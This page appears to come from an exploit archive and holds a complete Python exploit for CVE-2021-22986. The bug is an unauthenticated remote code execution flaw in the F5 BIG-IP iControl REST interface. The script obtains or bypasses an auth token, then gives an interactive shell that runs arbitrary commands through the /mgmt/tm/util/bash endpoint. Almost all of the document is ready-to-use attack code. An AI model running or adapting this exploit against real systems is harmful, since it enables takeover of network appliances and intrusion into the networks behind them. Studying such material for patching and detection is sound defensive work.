F5 BIG-IP 16.0.x Remote Code Execution

Related Vulnerabilities: CVE-2021-22986  
Publish Date: 02 Apr 2021
Author: Al1ex
                							

                # Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)
# Exploit Author: Al1ex
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2
# CVE : CVE-2021-22986

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import sys


def title():
    print('''
      ______ ____    ____  _______       ___     ___    ___    __        ___    ___     ___     ___      __   
     /      |\   \  /   / |   ____|     |__ \   / _ \  |__ \  /_ |      |__ \  |__ \   / _ \   / _ \    / /   
    |  ,----' \   \/   /  |  |__    ______ ) | | | | |    ) |  | |  ______ ) |    ) | | (_) | | (_) |  / /_   
    |  |       \      /   |   __|  |______/ /  | | | |   / /   | | |______/ /    / /   \__, |  > _ <  | '_ \  
    |  `----.   \    /    |  |____       / /_  | |_| |  / /_   | |       / /_   / /_     / /  | (_) | | (_) | 
     \______|    \__/     |_______|     |____|  \___/  |____|  |_|      |____| |____|   /_/    \___/   \___/                                                                                                                                                                             
    
                                Author:Al1ex@Heptagram
                                Github:https://github.com/Al1ex
    ''')   

def exploit(url):
  target_url = url + '/mgmt/shared/authn/login'
  data = {
    "bigipAuthCookie":"",
    "username":"admin",
    "loginReference":{"link":"/shared/gossip"},
    "userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
  }
  headers = {
    "User-Agent": "hello-world",
    "Content-Type":"application/x-www-form-urlencoded"
  }
  response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
  if "/mgmt/shared/authz/tokens/" not in response.text:
    print('(-) Get token fail !!!')
    print('(*) Tested Method 2:') 
    header_2 = {
        'User-Agent': 'hello-world',
        'Content-Type': 'application/json',
        'X-F5-Auth-Token': '',
        'Authorization': 'Basic YWRtaW46QVNhc1M='
    }
    data_2 = {
      "command": "run", 
      "utilCmdArgs": "-c whoami"
    }
    check_url = url + '/mgmt/tm/util/bash'
    try:
      response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
      if response2.status_code == 200 and 'commandResult' in response2.text:
        while True:
          cmd = input("(:CMD)> ")
          data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
          r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
          if r.status_code == 200 and 'commandResult' in r.text:
            print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
      else:
        print('(-) Not vuln...')
        exit(0)
    except Exception:
      print('ERROR Connect')
  print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
  while True:
    cmd = input("(:CMD)> ")
    headers = {
      "Content-Type": "application/json",
      "X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
    }
    data_json = {
      "command": "run", 
      "utilCmdArgs": "-c \'%s\'"%(cmd)
    }
    exp_url= url + '/mgmt/tm/util/bash'
    exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
    if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
      print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
    else:
      print('(-) Not vuln...')
      exit(0)

if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
      print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
      exit(0)
    else:
      exploit(sys.argv[1])
            
<p>